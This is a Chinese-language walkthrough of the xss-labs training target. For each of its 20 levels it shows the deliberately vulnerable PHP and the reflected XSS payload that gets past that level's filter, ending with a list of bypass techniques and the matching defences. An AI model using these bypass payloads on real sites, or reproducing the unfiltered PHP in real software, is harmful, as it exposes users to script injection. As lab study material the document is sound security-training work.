文章目录
- level-1 无过滤机制
- level-2 闭合标签
- level-3 单引号闭合+htmlspecialchars()
- level-4 双引号闭合+添加事件
- level-5 JavaScript 伪协议
- level-6 大小写绕过
- level-7 双写绕过
- level-8 编码绕过
- level-9 检测关键字
- level-10 隐藏信息
- level-11 referer
- level-12 user-agent
- level-13 cookie
- level-14 exif
- level-15 ng-include
- level-16 空格实体转义
- level-17 参数拼接
- level-18 参数拼接
- level-19 flash xss
- level-20 flash xss
- 总结
level-1 无过滤机制
http://127.0.0.1/xss-labs/level1.php?name=test
- 我们先看一看页面:
观察发现,URL中可以输入参数,而页面会回显参数以及参数的长度。 - 我们看一下页面源码,发现我们输入的内容会被直接拼接在页面中。
- 因此我们将URL中的中的 “test” 修改为 “
<script>alert(1)</script>
,成功弹窗。 - 后端代码如下(我们输入的参数在被get到的时候没有经过特殊的过滤处理):
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
level-2 闭合标签
http://127.0.0.1/xss-labs/level2.php?keyword=test
- 这一关有了输入框,我们先输入
<script>alert(1)</script>
试一试,发现没有成功 - 我们在第一步的基础上进页面源码看一看:
- 我们发现,在页面上输出的内容被转义了,但是value属性中的并没有被转移,但是问题是这里的js代码在标签属性值中,浏览器是无法执行的。因此我们想办法去闭合,我们输入
"><script>alert(1)</script>
,进行闭合,闭合之后的为“<input name="keyword" value=""><script>alert(1)</script>">
”,成功弹窗。 - 我们看一看后端代码:(用 htmlspecialchars() 对输入的字符进行了转义)
点此学习 htmlspecialchars() 函数
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和" . htmlspecialchars($str) . "相关的结果.</h2>" . '<center>
<form action=level2.php method=GET>
<input name=keyword value="' . $str . '">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
level-3 单引号闭合+htmlspecialchars()
http://127.0.0.1/xss-labs/level3.php?writing=wait
- 我们依旧是先输入
<script>alert(1)</script>
,没有作用,查看网页源码,发现页面输出内容和 value 属性值都被转义了 - 观察发现,上图中的单引号并没有被转义,我们将单引号闭合,并使用一种不需要尖括号等的JS方法,我们输入
'onclink='alert(1)
,成功弹窗。
当我们输入之后的完整代码为:<input name="keyword" value=' ' onclick='alert(1)'>
(也可以'onclick='javascript:alert(1)
) - 我们看一看后端源码:(确实是对两个地方都进行了转义)
level-4 双引号闭合+添加事件
http://127.0.0.1/xss-labs/level4.php?keyword=try harder!
- 我们依旧是
<script>alert(1)</script>
测试,查看网页源码,发现尖括号直接就没有了 - 那我们还是像上一关一样,使用不需要尖括号的写法,但是上一关是单引号闭合,而这一关是双引号,那我们就改成
"onclick="alert(1)
或者"onclick="javascript:alert(1)
,成功弹窗。 - 我们看一看后端代码:发现是使用 replace 对尖括号等进行了替换。
$str = $_GET["keyword"];
$str2 = str_replace(">", "", $str);
$str3 = str_replace("<", "", $str2);
level-5 JavaScript 伪协议
http://127.0.0.1/xss-labs/level5.php?keyword=find a way out!
-
我们还是
<script>alert(1)</script>
,然后看页面源码,发现 value 属性值变成了<scr_ipt>alert(1)</script>
(下划线)
我们再尝试">onclick="alert(1)
,查看页面源码, value 处成了value="">o_nclick="alert(1)"
(下划线)
说明后端会对 script 和 onclick 进行过滤。
-
查资料,得知应该用 a 标签绕过,使用 JS伪协议(
javascript:alert(1)
)绕过,简单说就是把 javascript: 后面的代码当成 javascript 来执行。 -
因此我们输入
"><a href=javascript:alert(1)>
(用 "> 进行闭合),成功弹窗。 -
看看后端代码:
$str = strtolower($_GET["keyword"]);
$str2 = str_replace("<script", "<scr_ipt", $str);
$str3 = str_replace("on", "o_n", $str2);
level-6 大小写绕过
http://127.0.0.1/xss-labs/level6.php?keyword=break it out!
- (这一步和上一关一模一样)我们还是
<script>alert(1)</script>
,然后看页面源码,发现 value 属性值变成了<scr_ipt>alert(1)</script>
(下划线)
我们再尝试">onclick="alert(1)
,查看页面源码, value 处成了value="">o_nclick="alert(1)"
(下划线)
说明后端会对 script 和 onclick 进行过滤。 - 我们像上一关一样使用 JS伪协议,发现依旧不行,居然 href 也被替换成了 hr_ef
- 但是它并没有做大小写过滤,所以我们可以使用以下三种方法:
"><sCript>alert()</sCript><"
"Onfocus=javascript:alert()"
(这种和下面那种只是少了空格而已,但是不行,至于为啥,请看第四步)"Onfocus=javascript:alert() "
"><a hRef=javascript:alert()><"
-
我们来解决上一步中产生的问题:为什么
"Onfocus=javascript:alert()"
不可以,但是" Onfocus=javascript:alert() "
可以(二者只是差了 alert() 后面的空格而已)。请看下图:
看出区别了吧,没有空格的时候 alert() 后面的两个引号形成了闭合,而有空格的时候,则一切正常。 -
我们看一看后端代码:
$str = $_GET["keyword"];
$str2 = str_replace("<script", "<scr_ipt", $str);
$str3 = str_replace("on", "o_n", $str2);
$str4 = str_replace("src", "sr_c", $str3);
$str5 = str_replace("data", "da_ta", $str4);
$str6 = str_replace("href", "hr_ef", $str5);
level-7 双写绕过
http://127.0.0.1/xss-labs/level7.php?keyword=move up!
- 我们依旧是尝试
<script>alert()</script>
,结果直接把<script></script>
给没了,这很可能是检测到 script 标签然后进行了替换,那我们就尝试双写绕过
- 我们尝试一下内容:成功弹窗
"> <a hrehreff=javasscriptcript:alert()>
"><scscriptript>alert(1)</sscriptcript>
- 我们看一看后端代码:依旧是做了替换(问题在于只过滤了一次)
$str = strtolower($_GET["keyword"]);
$str2 = str_replace("script", "", $str);
$str3 = str_replace("on", "", $str2);
$str4 = str_replace("src", "", $str3);
$str5 = str_replace("data", "", $str4);
$str6 = str_replace("href", "", $str5);
level-8 编码绕过
http://127.0.0.1/xss-labs/level8.php?keyword=nice try!
-
我们测试发现,大小写绕过 双写绕过 JS伪协议 ……各种东西都被限制了,然后我们输入内容之后点击 “友情链接” 会跳转,那我们就尝试在这里做动作。
-
查资料:我们能利用 href 的隐藏属性自动 Unicode 解码,我们可以插入一段 js 伪协议
javascript:alert()
我们将其URL编码,得到:javascript:alert()
成功弹窗 -
后台源代码分析。将 keyword 提交的变量转换为小写,替换关键字 script、on、src、data、href、",然后输出在a标签的href属性中。
$str = strtolower($_GET["keyword"]);
$str2 = str_replace("script", "scr_ipt", $str);
$str3 = str_replace("on", "o_n", $str2);
$str4 = str_replace("src", "sr_c", $str3);
$str5 = str_replace("data", "da_ta", $str4);
$str6 = str_replace("href", "hr_ef", $str5);
$str7 = str_replace('"', '"', $str6);
level-9 检测关键字
http://127.0.0.1/xss-labs/level9.php?keyword=not bad!
-
依旧是“友情链接”,那我们就把上一关的拿过来试一试,结果提示“您的链接不合法?有没有!”,链接合法,我们考虑一下 http 或者 https 协议,但是其实这里会有两种可能,一种是开头必须是 http 等字样,另一种是字符串中不管哪里有 http 等字样就行,看一看后端发现这一关是第二种情况,那就很舒服了(问一下 第一种情况怎么办)。
-
那我们先尝试一下
javascript:alert()http://www.baidu.com
但是这首先就不符合语法,应该在 http 前面加注释,(反正不执行,后端只是检测一下有没有这个字样)所以我们应该改成javascript: alert(1) //http://www.baidu.com
-
但是输入之后并不行,怎么回事,看看页面源码,发现 href 中的 “ script ” 被插入了下划线
-
这应该是后端匹配到 script 然后做了替换,因为是在 href 里面,那我们就进行 Unicode 编码,(注意别把html给编码了)
javascript:alert(1)//http://
-
我们看一看后端代码:
$str = strtolower($_GET["keyword"]);
$str2 = str_replace("script", "scr_ipt", $str);
$str3 = str_replace("on", "o_n", $str2);
$str4 = str_replace("src", "sr_c", $str3);
$str5 = str_replace("data", "da_ta", $str4);
$str6 = str_replace("href", "hr_ef", $str5);
$str7 = str_replace('"', '"', $str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="' . htmlspecialchars($str) . '">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if (false === strpos($str7, 'http://')) {
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
} else {
echo '<center><BR><a href="' . $str7 . '">友情链接</a></center>';
}
?>
- 看到了吧,使用了 strpos() 函数进行了匹配 点我学习 strpos() 函数
level-10 隐藏信息
http://127.0.0.1/xss-labs/level10.php?keyword=well done!
- 我们进网页源码看一看,发现有三个 input 标签被隐藏了,但是我们不知道这三个标签哪一个可以利用,那么根据他们的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用,
t_link" type='text'>//&t_history" type='text'>//&t_sort=" type='text'>//
试一试,发现第三个被修改了(或者是输入a&t_link=aa&t_history=bb&t_sort=cc
回车后发现页面源码中之后 t_sort 被改动了)
- 那我们呢就直接构造payload:
&t_sort=" type='text' onclick=javascript:alert(12)>//
,成功 - 看一看后端
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22 = str_replace(">", "", $str11);
$str33 = str_replace("<", "", $str22);
echo "<h2 align=center>没有找到和" . htmlspecialchars($str) . "相关的结果.</h2>" . '<center>
<form id=search>
<input name="t_link" value="' . '" type="hidden">
<input name="t_history" value="' . '" type="hidden">
<input name="t_sort" value="' . $str33 . '" type="hidden">
</form>
</center>';
?>
- 发现
$_GET["t_sort"]
经过删除尖括号等操作,最终放到了第三个 input 标签里。
level-11 referer
http://127.0.0.1/xss-labs/level11.php?keyword=good job!
- 我们看看页面源码,发现有四个被隐藏的 input 标签,相比于上一关多出了一个叫 t_ref 的标签,ref,有没有想到什么,当然是 referer。(并且这个标签值为第10关URL)
Referer 是 HTTP 请求header 的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含 Referer 。比如我在www.google.com 里有一个www.baidu.com 链接,那么点击这个www.baidu.com ,它的header 信息里就有:Referer=http://www.google.com
由此可以看出来吧。它就是表示一个来源。看下图的一个请求的 Referer 信息。
-
既然如此,那我们就试试用 Burp 抓包,然后修改 referer,呃当然是先去第十关,在弹窗成功那儿(跳转11关的时候)抓包。如图为抓到的数据包:
-
我们将数据包修改为
referer:&t_sort=" type='text' onclick=javascript:alert()>//
,然后放行,发现页面确实有了一个框,点击成功弹窗 -
最后我们来看下后端代码:发现确实是$str11 = $_SERVER[‘HTTP_REFERER’];
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11 = $_SERVER['HTTP_REFERER'];
$str22 = str_replace(">", "", $str11);
$str33 = str_replace("<", "", $str22);
echo "<h2 align=center>没有找到和" . htmlspecialchars($str) . "相关的结果.</h2>" . '<center>
<form id=search>
<input name="t_link" value="' . '" type="hidden">
<input name="t_history" value="' . '" type="hidden">
<input name="t_sort" value="' . htmlspecialchars($str00) . '" type="hidden">
<input name="t_ref" value="' . $str33 . '" type="hidden">
</form>
</center>';
level-12 user-agent
http://127.0.0.1/xss-labs/level12.php?keyword=good job!
- 还是看页面源码,这次的又成了 t_ua ,UA,后面的值也一看就是UA,那我们启动Burp!
- 如图为我们抓到的数据包:
- 我们对 UA 的值进行修改:
"type="text" onmousemove="alert()
- 修改后放行,成功弹窗,我们看看后端代码:(
$str11 = $_SERVER['HTTP_USER_AGENT'];
)
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11 = $_SERVER['HTTP_USER_AGENT'];
$str22 = str_replace(">", "", $str11);
$str33 = str_replace("<", "", $str22);
echo "<h2 align=center>没有找到和" . htmlspecialchars($str) . "相关的结果.</h2>" . '<center>
<form id=search>
<input name="t_link" value="' . '" type="hidden">
<input name="t_history" value="' . '" type="hidden">
<input name="t_sort" value="' . htmlspecialchars($str00) . '" type="hidden">
<input name="t_ua" value="' . $str33 . '" type="hidden">
</form>
</center>';
level-13 cookie
http://127.0.0.1/xss-labs/level13.php?keyword=good job!
- 先看看前端代码,这次又换成了 t_cook ,呃,cookies?看一看 cookies ,长得确实很奇怪。那就还是 Burp 改包。
- 我们在Burp抓到数据包之后,将 cookie 修改为
"type='text' onclick=javascript:alert(1)//
,如图: - 放行后果然有了一个框,也成功弹窗。
- 看看后端代码:(
$str11 = $_COOKIE["user"];
)
setcookie("user", "call me maybe?", time() + 3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11 = $_COOKIE["user"];
$str22 = str_replace(">", "", $str11);
$str33 = str_replace("<", "", $str22);
echo "<h2 align=center>没有找到和" . htmlspecialchars($str) . "相关的结果.</h2>" . '<center>
<form id=search>
<input name="t_link" value="' . '" type="hidden">
<input name="t_history" value="' . '" type="hidden">
<input name="t_sort" value="' . htmlspecialchars($str00) . '" type="hidden">
<input name="t_cook" value="' . $str33 . '" type="hidden">
</form>
</center>';
level-14 exif
http://127.0.0.1/xss-labs/level14.php
- 看了看网上,好多说这个题有问题,页面也正常显示不出来。我们就直接看看后端代码吧。
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center>
<center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
-
(payload是一张图片马,考到了CTF中的杂项中隐写 Exif 隐藏信息)大致意思就是通过修改 iframe 调用的文件( src )来实现 xss 注入。上传的图片的 EXIF 中包含恶意代码,然后当图片被解析的时候,其中EXIF中的代码就会被执行。
-
去了解一下 EXIF 吧
exif是可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
level-15 ng-include
http://127.0.0.1/xss-labs/level15.php?src=1.gif
- 我们先尝试将 url 中的 1.gif 修改为
<script>alert()</script>
,然后看看页面源码,发现除了有个<!-- ngInclude: <script>alert()</script> -->
也没有别的东西了,那我们就搜一搜啥是 nginclude
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
-
那也就是说,我们只要使 ng-include 包含一个弹窗页面就行,而且“默认情况下,包含的文件需要包含在同一个域名下”。那我们就把第一关搬过来。(
http://127.0.0.1/xss-labs/level1.php?name=%3Cscript%3Ealert(1)%3C/script%3E
) -
而直接把上述内容替换 1.gif 回车后发现没有任何作用,这是因为没有加单引号,必须用单引号包围起来。
回车后我们呢看到页面中确实有了整个第一关的东西,页面源码里面也包含了第一关的东西,但是依旧没有弹窗。
-
这种情况很可能是 script标签 被页面过滤掉了。那我们换一种方式:(注意,这里不能包涵那些直接弹窗的东西如
<script>
,但是可以包涵那些标签的东西比如<a>
、<input>
、<img>
、<p>
标签等等,这些标签是能需要我们手动点击弹窗的)
方法一:http://127.0.0.1/xss-labs/level1.php?name=a<img src=1 onerror=alert()>
方法二:http://127.0.0.1/xss-labs/level1.php?name=<p onmousedown=alert()>AAA</p>
方法三:http://127.0.0.1/xss-labs/level1.php?name=<a href="javascript:alert()">
等等……………… -
看一看后端
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:' . htmlspecialchars($str) . '"></span></body>';
?>
- 还有就是了解一下 angular (前端框架)因为这个 ng-include 是它的东西
level-16 空格实体转义
http://127.0.0.1/xss-labs/level16.php?keyword=test
- 因为前面有 center 标签,我就想着先把它闭合掉,
</center><script>alert()</script>
但是不管是 / 还是 script 都被过滤了: - 那好,那我试一试上一关的
<img src=1 onerror=alert()>
,但是看起来空格也被弄了
HTML提供了5种空格实体(space entity),它们拥有不同的宽度,非断行空格(
)是常规空格的宽度,可运行于所有主流浏览器。其他几种空格(      ‌‍
)在不同浏览器中宽度各异。
- 既然如此,那我们就直接把 换行符 给 URL 编码一下,%0A,用 %0A 替换空格,成功弹窗。至于为什么不是用空格 URL 编码,而是用换行符 这是因为用换行符替换空格效果一样 (在 html 中,不论加多少空格或者回车,都会被转成一个空格)
- 也就是说,我们最后输入的为
<img%0Asrc=1%0Aonerror=alert()>
,成功弹窗。 - 看看后端代码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2 = str_replace("script", " ", $str);
$str3 = str_replace(" ", " ", $str2);
$str4 = str_replace("/", " ", $str3);
$str5 = str_replace(" ", " ", $str4);
echo "<center>" . $str5 . "</center>";
?>
level-17 参数拼接
http://127.0.0.1/xss-labs/level17.php?arg01=a&arg02=b
- 我们先看看页面源码,发现了一个 embed 标签 ,而且里面的 src 就是我们 URL 中的东西。
- 那我们就尝试去闭合掉它,我们在URL的最后面加上
" onmouseover='alert()'
,当鼠标移动到图片上面时成功弹窗。 - 了解一下 embed 标签:
embed 标签定义了一个容器,用来嵌入外部应用或者互动程序(插件)。
embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会有块错误的区域。也可以绑定各种事件,比如尝试绑定一个onmouseover事件。后台看代码用了htmlspecialchars,所以直接写标签是不行的。embed标签基本不怎么用了,所以这一关就简单了解一下即可。
- 后端代码:
<?php
ini_set("display_errors", 0);
echo "<embed src=index.png?" . htmlspecialchars($_GET["arg01"]) . "=" . htmlspecialchars($_GET["arg02"]) . " width=100% heigth=100%>";
?>
level-18 参数拼接
http://127.0.0.1/xss-labs/level18.php?arg01=a&arg02=b
- 和17关一模一样
level-19 flash xss
http://127.0.0.1/xss-labs/level19.php?arg01=a&arg02=b
- 首先从页面源码来看,也是 embed 标签
- 别人说:至于为啥这里不能用前面两关的方法了?是因为源码把上面漏洞闭合了,加了一对双引号,绕不出去了(只能用 " 闭合,但是 " 会被转义,无法闭合,所以即使看起来是好的,也无法弹框)
- 后端长这样:
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?' . htmlspecialchars($_GET["arg01"]) . "=" . htmlspecialchars($_GET["arg02"]) . '" width=100% heigth=100%>';
?>
- 貌似涉及到 flash 反编译啥的,我也不会,附上偷来的 payload:
arg01=version&arg02=<a href="javascript:alert(1)">123</a>
level-20 flash xss
- 偷来的 payload:
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)
- 后端:
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?' . htmlspecialchars($_GET["arg01"]) . "=" . htmlspecialchars($_GET["arg02"]) . '" width=100% heigth=100%>';
?>
- 大佬的文章:xss-labs 第20关
总结
(小声说一句,这部分也是偷的)
反射型XSS测试步骤总结:
- 检测输入变量,确认每个 web 页面中用户可自定义的变量,如 HTTP 参数、POST 数据、隐藏表单字段值、预定义的 radio 值或选择值
- 分别确认每个输入变量是否存在 xss漏洞。变量输入处输入 poc,查看返回的 web页面的 html 中 poc 代码是否被过滤,浏览器是否响应 poc,若存在过滤,进行测试查看能否进行绕过。
XSS的攻防:
- 攻:利用<>标记,构造
<script>
标签可执行 javascript的xss代码。
防:xss过滤函数需过滤<><script></script>
等字符。 - 攻:利用 html 标签属性支持 javascript:伪协议(支持标签属性的有href、lowsrc、bgsound、background、value、action、dynsrc等),执行xss代码。
防:xss 过滤函数需过滤JavaScript等关键字。 - 利用 javascript 在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,绕过对 javascript 的关键字的过滤。
- 攻:利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。
防:xss 过滤函数需过滤&#\等字符。 - 利用事件处理函数,触发事件,执行xss代码。例如
<img src='#' onerror=alert(/xss/)>
,当浏览器响应页面时,找不到图片的地址,触发onerror事件。 - 攻:利用css执行javascript代码,css代码中利用expression触发xss漏洞。如下所示:
<div style="width: expression(alert('xss'));>
<img src="#" style="xss:expression(alert(/xss/));">
<style>body {background-image:expression(alert("xss"));}</style>
<div style="list-style-image:url(javascript:alert('xss'))">
css代码中利用@import触发xss
<stytle>
@import 'javascript:alert("XSS")';
</stytle>
css代码中使用@import和link方式导入外部含有xss代码的样式表文件
<link rel="stytlesheet" href="http://www.***.com/a.css">
<stytle type='text/css'>@import url(http://www.*.com/a.css);</style>
防:xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。
- 利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、运用/**/混淆过滤规则来绕过过滤函数
- 利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。